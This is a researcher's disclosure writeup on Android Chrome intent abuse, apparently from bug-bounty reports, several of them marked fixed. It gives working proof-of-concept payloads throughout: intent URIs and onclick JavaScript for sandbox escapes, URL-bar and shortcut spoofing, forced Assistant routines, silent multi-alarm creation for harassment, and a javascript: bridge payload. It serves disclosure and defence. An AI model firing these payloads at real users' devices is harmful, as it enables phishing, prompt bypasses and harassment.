The following is a writeup for some Android specific chromium behaviors.
The attacks abuse Android intents when from chromium they require user activation (unless doing trusted CCT/TWA navigation) but don’t prompt the user (if there’s activation) unlike external protocols.
For security only intents marked as BROWSABLE
by the app owner are allowed unless an installed app does an intent redirect on chrome’s behalf.
https://developer.chrome.com/docs/android/intents
https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE
https://source.chromium.org/chromium/chromium/src/+/main:components/external_intents/README.md
https://issues.chromium.org/40051644
https://issues.chromium.org/40054582
It’s also possible that the communication is done via a local server, Android App Links where the app uses a HTTP or HTTPS scheme and contains the autoVerify
attribute, a custom scheme or with user interaction you could share data with the app by opening a supported file type via a download, input.showPicker()
or navigator.share()
.
Firebase dynamic links can open the Samsung, Firefox, Chrome browser to an attacker controlled URL on Android.
This bypasses the patches for https://issues.chromium.org/issues/40060327 (prompt for opening other browsers) and https://issues.chromium.org/issues/40061025 (bypass iframe sandbox on allow-popups
)
intent://ndevtk.page.link/PZXe#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;S.browser_fallback_url=https://play.google.com/store/apps/details%3Fid%3Dcom.sec.android.app.sbrowser&pcampaignid%3Dfdl_short&url%3Dhttps://terjanq.me/xss.php%3Fheaders;end;
This was fixed by https://issues.chromium.org/issues/40064598 A similar bug was found later https://issues.chromium.org/40067307
Regarding the bypass to https://issues.chromium.org/40060327 turns out market://details?id=com.sec.android.app.sbrowser&url=https%3A%2F%2Fexample.org
worked.
Also because it had not been fully patched they awarded an additional $2250 :)
Video PoC: https://www.youtube.com/watch?v=FnarD8RX4Ys
intent://www.google.com/hsi?name=Chrome&icon=https://ssl.gstatic.com/shortcuts/android/home/v1/192px/weather_g_badged.png&ve=145829&hv=1&dest=1&source=homescreen_shortcut&query=https://ndev.tk#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end
To make this attack more convincing google play services are used so the victim can see the url bar change to “google.com” before the prompt is shown.
The prompt shows an attacker controlled name and icon with no origin provided.
onclick = () => {
location.href =
'intent://search.app.goo.gl/?link=https://www.google.com/hsi?name%3DChrome%26icon%3Dhttps://ssl.gstatic.com/shortcuts/android/home/v1/192px/weather_g_badged.png%26ve%3D145828%26hv%3D1%26dest%3D1%26source%3Dhomescreen_shortcut%26query%3Dhttps%3A%2F%2Fndev.tk%23Intent;scheme%3Dhttps;package%3Dcom.google.android.googlequicksearchbox;end&apn=com.google.android.googlequicksearchbox#Intent;package=com.google.android.gms;scheme=https;end;';
location.href = 'https://www.google.com';
};
Frame = document.createElement('iframe');
Frame.sandbox = 'allow-scripts allow-popups';
In that sandboxed iframe an attacker would do:
onclick = () => {
location =
'intent://www.google.com/gasearch?q=https://example.org#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end';
};
Or if you don’t like the google app,
onclick = () => {
location =
'intent://example.org#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;end';
};
“allow-popups” means “allow-top-navigation-to-custom-protocols” It’s just a bit too easy to start abusing by, say, starting a file download. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox
Force a victim to run one of their routines.
intent://assistant.google.com/services/invoke/uid/0000004f0e04d1da?intent=WORKFLOW_TRIGGER¶m.workflow_id=routine_0000001#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end
Cause the device to read unread text messages, this is a problem if the victim is in a phone call with the attacker.
<a
href="googleapp://deeplink/?data=CkwBDb3mGzBFAiEA7olPIXB3Rbe6FGGWzwGXQaR8o2qCR3KySUeFI1_UcWgCIFTa67w_AvJK8aAULIDMlRk6c6XPBv6R6ORiznPHRnXOEmMKDgi4-rKPARD_v8rzhKMCEgAaIwohCIECmonx2wQYCAESFFJlYWQgbXkgdW5yZWFkIHRleHRzIioKKGh0dHBzOi8vYXNzaXN0YW50Lmdvb2dsZS5jb20vaW50bC9lbl91ay8"
>link</a
>
This is from https://assistant.google.com/intl/en_uk/learn/ other features it exposes to the web platform are “Turn up the volume by 50%” and my favorite “Set a 35 minute timer for my chocolate cake”
Video PoC: https://www.youtube.com/watch?v=Uj84sILMoYI
By visiting an attacker-controlled link such as from a message or email they gain the ability to silently create multiple alarms at any recurring time they want with custom text on the user’s device.
This can be abused for persistently spamming the victim with malware, aggressive advertisements or targeted harassment while bypassing do not disturb.
As this is a native app it may be more trusted so it helps with social engineering in limited cases.
In order to stop this the victim would need to go to settings and clear the app data (that’s not obvious) or remove the google clock app if allowed by the OEM of course the user could delete every alarm themselves, This may be hard or impossible when the app crashes.
FAQ on this type of attack https://support.google.com/webtools/answer/9799829 https://blog.chromium.org/2020/10/reducing-abusive-notification-content.html “Abusive notification prompts are one of the top user complaints we receive about Chrome”
clock-app://com.google.android.deskclock/alarm/create?dayOfWeek=Monday&hour=1&minute=1&message=duck&vibrate=true&enabled=true
clock-app://com.google.android.deskclock/stopwatch/start
clock-app://com.google.android.deskclock/stopwatch/rest
Chromium Team: “Our counter-abuse folks feel that:
we should ask Android to fix this (by not allowing inbound clock-app: URIs, or at least, bringing the clock to the front) if Android don’t or can’t fix this, perhaps we need to put in a workaround to stop Chrome sending these outbound URI navigations to clock-app: Ade and I discussed offline, and I do think it’s important to flag this to Android. And it’s important to flag that this is an alarm, not a notification–this is relevant because alarms bypass Do Not Disturb, and because users do not think of their clock app as something third parties can access.
The example in your proof of concept is essentially spam/social engineering, but this could be exploited for targeted harassment: intentionally waking people up in the middle of the night with alarms containing threatening messages. If someone gets a message like that, they’re likely to think an attacker has physically or remotely accessed their phone, which is significantly more upsetting than just getting an annoying notification.”
The /multi
endpoint allows for multiple alarms to be added per call.
/multi?action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack2%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack3%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack4%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack5%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue
The ringtone
url parameter allows you to set custom audio to play.
Websites get put in fullscreen webview without the warning toast allowing control of the URL bar. So is a line of death problem. This also increases the attack surface by exposing webview only behavior like in https://alesandroortiz.com/articles/uxss-android-webview-cve-2020-6506/ and internal app functions.
<a href="faceviewer://arvr.google.com/faceviewer?arbi=1&wturl=https://sites.google.com/view/ndevtkembed/home">tap</a>
intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&card_content=https%3A%2F%2Fstorage.googleapis.com%2Fndevtk%2Fndevtk-spoof9.html&mode=3d_only#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end;
Arguably the toast is not that effective and https://jameshfisher.com/2019/04/27/the-inception-bar-a-new-phishing-method/ may have also worked but it’s what people decided lol.
This was fixed in https://issues.chromium.org/issues/329890199
A website is able to send intents that are not marked as android.intent.category.BROWSABLE
https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE
This is an attack known as https://developer.android.com/privacy-and-security/risks/intent-redirection its recommended to only launch untrusted intents with the opt-in CATEGORY, chromium would normally have done this but this app bypasses the protection via a tap of a button.
And since title supports basic html its possible to make it clear that button should be tapped.
This also acts as a bypass to https://issues.chromium.org/40060327 as shown in https://youtube.com/shorts/uQ6cAHarZd8 NOT ABOUT THE OPEN REDIRECT The problem is that a different browser can be outdated and contain security issues that don’t exist or have since been patched in chrome.
onclick = () => {
const target = 'intent://<some non-browsable intent>';
const title = '<h1>Click the button to continue...</h1><p1> :)</p1>';
location.href =
'intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&title=' +
encodeURIComponent(title) +
'&link=' +
encodeURIComponent(target) +
'#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end';
};
Assuming an XSS on a top level gstatic.com
page, faceViewerWebXBridge.postMessage(JSON.stringify({cmd: btoa(':\x0F\n\rtestintent://')}))
worked as a bypass via the face viewer.
This also bypasses the patch from https://issues.chromium.org/40060327 as this intent URI causes the link to be opened in the Samsung browser (com.sec.android.app.sbrowser) application instead. This occurs without any notification to or consent from the user.
<a href="faceviewer://arvr.google.com/faceviewer?arbi=1&wturl=https%3A%2F%2Fwww.gstatic.com%2Fvr%2Fads%2Fplayground%2Fmetrics.html%23assetUrl%3Djavascript%3A%2520top.faceViewerWebXBridge.postMessage%28%27%7B%2522cmd%2522%3A%2522OjAKLnNhbXN1bmdpbnRlcm5ldDovL29wZW4%2FdXJsPWh0dHBzOi8vZXhhbXBsZS5vcmc%3D%2522%7D%27%29%3B">tap</a>